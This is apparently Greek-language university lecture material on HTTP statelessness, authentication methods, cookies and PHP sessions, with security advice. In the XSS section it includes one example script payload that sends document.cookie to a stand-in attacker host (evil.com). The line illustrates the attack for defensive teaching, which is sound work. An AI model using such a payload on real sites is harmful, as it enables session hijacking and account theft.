📋 Στόχοι Μαθήματος
Στο τέλος του μαθήματος ο φοιτητής θα μπορεί να:
- Εξηγεί γιατί χρειαζόμαστε cookies και sessions (HTTP είναι stateless)
- Δημιουργεί, διαβάζει και διαγράφει cookies από τον browser
- Χρησιμοποιεί sessions για να αποθηκεύει δεδομένα χρήστη στο server
- Καταλαβαίνει την σχέση cookie ↔ session id
- Γνωρίζει βασικά θέματα ασφάλειας (HttpOnly, Secure, session hijacking)
🌐 1. Το Πρόβλημα: το HTTP είναι Stateless
Το πρωτόκολλο HTTP είναι χωρίς κατάσταση (stateless). Αυτό σημαίνει ότι κάθε αίτημα (request) που στέλνει ο browser στον server αντιμετωπίζεται σαν να είναι το πρώτο!
Τι συμβαίνει στην πράξη:
- Ο server δεν θυμάται ποιος είσαι μεταξύ των requests
- Δεν ξέρει αν έχεις κάνει login
- Δεν γνωρίζει τι έχεις στο καλάθι αγορών
- Δεν μπορεί να θυμάται τις προτιμήσεις σου
Φαντάσου ότι κάνεις login σε ένα e-shop. Χωρίς κάποιον τρόπο "μνήμης", κάθε φορά που θα πηγαίνεις σε νέα σελίδα, θα έπρεπε να ξανακάνεις login! Αυτό θα ήταν εντελώς απαράδεκτο για τον χρήστη.
ΑΛλΑ στις πραγματικές εφαρμογές θέλουμε:
- ✅ Να κρατάμε τον χρήστη συνδεδεμένο (login state)
- ✅ Να θυμόμαστε προτιμήσεις (γλώσσα, theme, font size)
- ✅ Να κρατάμε καλάθι αγορών
- ✅ Να αποθηκεύουμε ιστορικό περιήγησης
Εκεί μπαίνουν στο παιχνίδι τα Cookies, τα Sessions και τα Tokens! 🍪🔑
🔐 Authentication στο Web
Authentication είναι η διαδικασία με την οποία μια εφαρμογή επιβεβαιώνει ποιος είσαι, συνήθως με login (username + password).
🧠 Πρώτο βασικό concept: Stateful vs Stateless
🟦 Stateful Server
Ο server σε θυμάται μετά το login.
Κρατά πληροφορίες για τον χρήστη (session).
Πας σε εστιατόριο, ο σερβιτόρος θυμάται τι έχεις παραγγείλει στο τραπέζι σου.
✔ Σε θυμάται → Stateful
🟨 Stateless Server
Ο server δεν θυμάται τίποτα για εσένα.
Πρέπει κάθε φορά να του αποδεικνύεις ποιος είσαι.
Πας σε fast-food στο ταμείο και κάθε φορά πληρώνεις/δείχνεις απόδειξη. Ο υπάλληλος δεν σε θυμάται.
✔ Δεν σε θυμάται → Stateless
🔐 Οι 3 βασικές μέθοδοι Authentication
📌 Πώς λειτουργεί:
Σε κάθε request στέλνονται username + password σε HTTP Header:
✔ Πλεονεκτήματα:
- Πολύ απλό
- Δεν χρειάζεται session storage
- Δεν χρειάζεται cookies
❌ Μειονεκτήματα:
- Στέλνεις συνεχώς τον κωδικό → επικίνδυνο χωρίς HTTPS
- Δύσκολο πραγματικό logout (απλά σταματάς να στέλνεις το password)
📌 Δεν θυμάται τίποτα → Stateless
📌 Πώς λειτουργεί:
- Ο χρήστης κάνει login
- Ο server αποθηκεύει πληροφορίες του χρήστη σε session
- Στέλνει στον browser ένα cookie με session ID
- Σε κάθε request, ο browser στέλνει το cookie
- Ο server βλέπει το session ID και θυμάται τον χρήστη
✔ Πλεονεκτήματα:
- Ασφαλές, δεν φαίνονται στοιχεία στο cookie
- Logout = πολύ εύκολο (σβήνουμε session στον server)
- Ιδανικό για web εφαρμογές (sites)
❌ Μειονεκτήματα:
- Ο server πρέπει να αποθηκεύει sessions (εξτρά μνήμη)
- Συχνά απαιτείται read στη βάση/Redis σε κάθε request για να φορτωθεί το session
- Για scaling, χρειάζεται shared session store (π.χ. Redis)
📌 Ο server σε θυμάται → Stateful
📌 Πώς λειτουργεί:
- Κάνεις login
- Ο server δημιουργεί JWT (token)
- Ο client το αποθηκεύει (localStorage, cookie κτλ.)
- Σε κάθε request στέλνεται:
📌 Ο server δεν αποθηκεύει session. Απλά ελέγχει το token → Stateless
✔ Πλεονεκτήματα:
- Δεν χρειάζεται μνήμη στον server
- Δεν χρειάζεται read στη βάση κάθε φορά
- Ιδανικό για APIs, mobile apps, microservices
- Πολύ καλό για horizontal scaling
❌ Μειονεκτήματα:
- Αν κλαπεί το token, ισχύει μέχρι να λήξει
- Πραγματικό logout (invalidate) είναι δύσκολο → θέλει blacklist στον server
- Αν χρησιμοποιήσουμε blacklist → γίνεται Stateful
🔄 Ροή Token Authentication με Access & Refresh Tokens
- Stateful: Ο server σε θυμάται (Sessions)
- Stateless: Κάθε φορά του δείχνεις token για να αποδείξεις ποιος είσαι (JWT)
📦 Λιγότερα δεδομένα → πιο ελαφρύ
Το basic auth header έχει περίπου:
Που συνήθως είναι αρκετά bytes (ανάλογα το username/password). Το session id είναι συνήθως ένα fixed-length random string, π.χ.:
2–3 φορές μικρότερο σε μέγεθος και ελαφρύτερο στην επεξεργασία.
🍪 2. Cookies
2.1 Τι είναι ένα Cookie;
Ένα cookie είναι ένα μικρό κομμάτι δεδομένων (key-value pair) που:
- Αποθηκεύεται στον browser του χρήστη
- Συνδέεται με ένα συγκεκριμένο domain (π.χ. example.com)
- Αποστέλλεται αυτόματα σε κάθε request προς αυτό το domain
- Έχει μέγιστο μέγεθος περίπου 4KB ανά cookie
📊 Πώς λειτουργεί η ροή ενός Cookie:
Set-Cookie: theme=dark; Path=/; Max-Age=3600
Cookie: theme=dark
2.2 Χρήσεις των Cookies
- Αποθήκευση προτιμήσεων: γλώσσα, theme, μέγεθος γραμματοσειράς
- "Remember me" login: για να μένεις συνδεδεμένος (με προσοχή!)
- Παρακολούθηση (tracking): analytics, διαφημίσεις
- Καλάθι αγορών: σε απλές περιπτώσεις
2.3 Βασικές Ιδιότητες ενός Cookie
| Ιδιότητα | Περιγραφή | Παράδειγμα |
|---|---|---|
| name=value | Το όνομα και η τιμή του cookie | theme=dark |
| Max-Age | Πόσα δευτερόλεπτα θα ζήσει το cookie | Max-Age=3600 (1 ώρα) |
| Expires | Συγκεκριμένη ημερομηνία λήξης | Expires=Wed, 01 Jan 2025 00:00:00 GMT |
| Path | Σε ποιο μονοπάτι ισχύει το cookie | Path=/shop |
| Domain | Για ποιο domain ισχύει | Domain=.example.com |
| Secure | Στέλνεται μόνο μέσω HTTPS | Secure |
| HttpOnly | Όχι προσβάσιμο από JavaScript | HttpOnly |
Αν δεν δώσουμε Max-Age ή Expires, το cookie είναι session cookie και διαγράφεται όταν κλείσει ο browser!
Ασφάλεια με HttpOnly και Secure:
- HttpOnly: Προστατεύει από XSS attacks - το JavaScript δεν μπορεί να διαβάσει το cookie με
document.cookie - Secure: Το cookie στέλνεται μόνο μέσω HTTPS, όχι HTTP - προστατεύει από man-in-the-middle attacks
💻 3. Παραδείγματα Χρήσης Cookies στην PHP
3.1 Δημιουργία Cookie
🔎 Τι είναι το $_COOKIE στην PHP;
- Είναι μια ειδική μεταβλητή (πίνακας) που δίνει στην PHP τα cookies του browser.
- Τα cookies τα στέλνει ο browser από τον χρήστη προς τον server.
- Έτσι η PHP μπορεί να διαβάζει πληροφορίες που έχει αποθηκεύσει ο ίδιος ο browser (π.χ. θέμα, γλώσσα, login session).
🔎 Πώς το χρησιμοποιούμε;
Παίρνουμε ένα cookie έτσι:
Αν το cookie δεν υπάρχει, θα έχουμε error. Οπότε χρησιμοποιούμε:
3.2 Ανάγνωση Cookie
Τα cookies αποθηκεύονται στον client και μπορούν να αλλαχθούν από τον χρήστη. ΠΟΤΕ μην εμπιστεύεσαι τυφλά τα δεδομένα από cookies! Πάντα να τα sanitize με htmlspecialchars() ή άλλες μεθόδους.
3.3 Ενημέρωση Cookie
3.4 Διαγραφή Cookie
Όταν διαγράφεις ένα cookie, βεβαιώσου ότι χρησιμοποιείς το ίδιο path και domain που χρησιμοποιήθηκε κατά τη δημιουργία του!
3.5 Απλό Παράδειγμα Δημιουργίας Cookie (PHP)
👉 Δημιουργεί cookie και το εμφανίζει.
📌 Αποθήκευσε το ως cookie_test.php
- Την πρώτη φορά που φορτώνεις τη σελίδα, το cookie δημιουργείται, αλλά δεν εμφανίζεται ακόμα.
- Κάνε Refresh (F5) → τώρα εμφανίζεται το cookie.
- Δες το cookie στον browser: Inspect → Application → Cookies → localhost
- Πώς δημιουργείται cookie (
setcookie) - Πώς διαβάζεται (
$_COOKIE["username"]) - Γιατί χρειάζεται refresh (ο browser πρώτα το αποθηκεύει, μετά το στέλνει στο 2ο request)
🎯 4. Sessions
Τα sessions λύνουν το πρόβλημα της "κατάστασης" πιο ασφαλώς από το να αποθηκεύουμε τα πάντα σε cookies.
4.1 Τι είναι ένα Session;
Ένα session είναι "κατάσταση χρήστη" που αποθηκεύεται στον server, όχι στον browser!
- Ο browser κρατάει μόνο ένα session ID (συνήθως σε cookie)
- Στον server υπάρχει μια αποθήκη που συνδέει:
session_id → {user_data} - Τα δεδομένα είναι πιο ασφαλή γιατί δεν φαίνονται στον client
📊 Πώς λειτουργεί η ροή ενός Session:
Ο server δημιουργεί νέο session ID (π.χ. "abc123xyz")
Set-Cookie: PHPSESSID=abc123xyz; HttpOnly; Secure
Cookie: PHPSESSID=abc123xyz
τα δεδομένα του χρήστη (username, cart, preferences κλπ)
4.2 Πώς συνδέεται με τα Cookies;
Cookie: Αποθηκεύεται στον browser, περιέχει μόνο το session ID (π.χ. PHPSESSID=abc123)
Session: Αποθηκεύεται στον server, περιέχει όλα τα δεδομένα του χρήστη
Το cookie χρησιμεύει ως "κλειδί" για να βρει ο server τα δεδομένα του session!
| Που αποθηκεύεται; | Τι περιέχει; | Ασφάλεια |
|---|---|---|
| Cookie (PHPSESSID) | Μόνο το session ID | Χαμηλός κίνδυνος (είναι random string) |
| Session (server) | Όλα τα δεδομένα χρήστη | Πιο ασφαλές (δεν φαίνεται στον client) |
💻 5. Παραδείγματα Χρήσης Sessions στην PHP
5.1 Ξεκίνημα Session
Η session_start() πρέπει να καλείται ΠΡΙΝ από οποιαδήποτε έξοδο HTML, όπως και η setcookie()! Αν στείλεις HTML πρώτα, το session δεν θα λειτουργήσει!
5.2 Ανάγνωση από Session
5.3 Διαγραφή Συγκεκριμένης Μεταβλητής από Session
5.4 Καταστροφή Session (Logout)
- Βήμα 1 (
$_SESSION = []): Καθαρίζει τα δεδομένα από τη μνήμη - Βήμα 2 (
setcookie): Διαγράφει το session cookie από τον browser - Βήμα 3 (
session_destroy()): Διαγράφει το session file από τον server
Και τα τρία είναι απαραίτητα για πλήρη και ασφαλή logout!
5.5 Πλήρες Παράδειγμα: Σύστημα Login με Session
📄 login.php
📄 dashboard.php (Προστατευμένη Σελίδα)
📄 logout.php
Καλές Πρακτικές Ασφάλειας:
- session_regenerate_id(true): Αλλάζει το session ID μετά το login για προστασία από session fixation
- Έλεγχος authentication: Κάθε προστατευμένη σελίδα πρέπει να ελέγχει αν ο χρήστης είναι συνδεδεμένος
- htmlspecialchars(): Πάντα sanitize τα session data πριν τα εμφανίσεις
- exit() μετά header(): Σταματά την εκτέλεση του script μετά από redirect
⚖️ 6. Cookies vs Sessions - Σύγκριση
| Χαρακτηριστικό | Cookies (Client-side) | Sessions (Server-side) |
|---|---|---|
| Πού αποθηκεύονται; | Στον browser του χρήστη | Στον server (συνήθως σε αρχεία ή βάση) |
| Μέγεθος | Περιορισμένο (~4KB ανά cookie) | Μεγαλύτερο, ανάλογα με τον server |
| Ασφάλεια | Πιο ευάλωτα (στον client) | Πιο ασφαλή (δεδομένα στον server) |
| Ταχύτητα | Γρήγορα (local) | Ελαφρώς πιο αργά (server lookup) |
| Διάρκεια ζωής | Μπορεί να είναι μόνιμο (με Max-Age) | Συνήθως λήγει με το κλείσιμο του browser |
| Τι κρατάμε συνήθως; | Preferences, μη ευαίσθητα δεδομένα | Login state, καλάθι, ρόλους, ευαίσθητα δεδομένα |
| Εξάρτηση από cookie; | Είναι τα ίδια τα cookies | Χρησιμοποιούν cookie για το session ID |
| Προσβασιμότητα | Ορατά στον χρήστη (DevTools) | Κρυφά από τον χρήστη |
📊 Πότε να χρησιμοποιούμε το καθένα;
- Θέλεις να αποθηκεύσεις προτιμήσεις (theme, γλώσσα)
- Τα δεδομένα δεν είναι ευαίσθητα
- Θέλεις τα δεδομένα να παραμένουν μετά το κλείσιμο του browser
- Χρειάζεσαι απλή λύση χωρίς server state
- Κρατάς login state
- Αποθηκεύεις ευαίσθητα δεδομένα
- Έχεις μεγάλο όγκο δεδομένων
- Χρειάζεσαι καλύτερη ασφάλεια
- Τα δεδομένα πρέπει να διαγραφούν με το logout
🔒 7. Θέματα Ασφάλειας
7.1 Session Hijacking
Ένας επιτιθέμενος κλέβει το session ID του χρήστη και το χρησιμοποιεί για να προσποιηθεί τον χρήστη!
Πώς γίνεται:
- Packet sniffing: Κλοπή του session ID από το δίκτυο (αν χρησιμοποιείται HTTP)
- XSS attack: Κλοπή του session ID μέσω JavaScript
- Session fixation: Ο επιτιθέμενος "ορίζει" το session ID πριν το login
Πώς προστατευόμαστε:
7.2 XSS (Cross-Site Scripting)
Ο επιτιθέμενος εισάγει κακόβουλο JavaScript που κλέβει cookies:
<script>document.location='evil.com?cookie='+document.cookie</script>
- HttpOnly flag: Τα JavaScript δεν μπορούν να διαβάσουν το cookie
- htmlspecialchars(): Sanitize όλα τα user inputs πριν τα εμφανίσεις
7.3 CSRF (Cross-Site Request Forgery)
Ο επιτιθέμενος εξαναγκάζει τον χρήστη να κάνει ανεπιθύμητες ενέργειες σε site που είναι ήδη συνδεδεμένος.
📝 8. Σύνοψη και Βέλτιστες Πρακτικές
- Το HTTP είναι stateless - δεν θυμάται τίποτα μεταξύ requests
- Cookies = μικρά δεδομένα στον browser (4KB max)
- Sessions = δεδομένα στον server, session ID στον browser
- Τα sessions χρησιμοποιούν cookies για το session ID
- Προτίμησε sessions για ευαίσθητα δεδομένα
- Πάντα HTTPS: Χρησιμοποίησε το Secure flag στα cookies
- HttpOnly flag: Προστασία από XSS attacks
- session_regenerate_id(): Μετά κάθε login για προστασία από session fixation
- Session timeout: Αυτόματη λήξη μετά από αδράνεια
- Sanitize inputs: Πάντα
htmlspecialchars()για τα session/cookie data - CSRF tokens: Για προστασία από CSRF attacks
- Whitelist validation: Έλεγχος επιτρεπτών τιμών (όπως στο theme example)
- Proper logout: 3 βήματα - clear $_SESSION, delete cookie, session_destroy()
- ❌ Να στέλνεις cookies χωρίς Secure flag σε production
- ❌ Να αποθηκεύεις passwords σε cookies ή sessions
- ❌ Να εμπιστεύεσαι τυφλά τα cookie data χωρίς validation
- ❌ Να ξεχνάς να καλείς
session_start()στην αρχή κάθε σελίδας - ❌ Να στέλνεις HTML πριν την
setcookie()ήsession_start() - ❌ Να μην κάνεις
exit()μετά απόheader()redirect
- Χρησιμοποίησε
??(null coalescing) για default τιμές:$theme = $_COOKIE['theme'] ?? 'light'; - Για development, μπορείς να δεις τα sessions στο
/tmpdirectory (Linux) - Χρησιμοποίησε τα Developer Tools του browser για να δεις cookies (Application tab)
- Το
session_id()σου δίνει το τρέχον session ID - Τα session files συνήθως έχουν format:
sess_[session_id]
🎓 Ασκήσεις Εξάσκησης
- Δημιούργησε ένα σύστημα προτιμήσεων με cookies (theme, font size, language)
- Φτιάξε ένα απλό σύστημα login/logout με sessions
- Πρόσθεσε "Remember Me" functionality με cookies που διαρκούν 30 ημέρες
- Υλοποίησε session timeout (auto-logout μετά από 15 λεπτά αδράνειας)
- Φτιάξε ένα καλάθι αγορών που χρησιμοποιεί sessions
- Πρόσθεσε CSRF protection σε μια φόρμα
- Δημιούργησε ένα "view counter" με cookies που μετρά πόσες φορές επισκέφτηκες μια σελίδα
✅ Τέλος Μαθήματος 9
Cookies και Sessions - Διαχείριση Κατάστασης Χρήστη
Πανεπιστήμιο Πελοποννήσου - Τμήμα Ψηφιακών Συστημάτων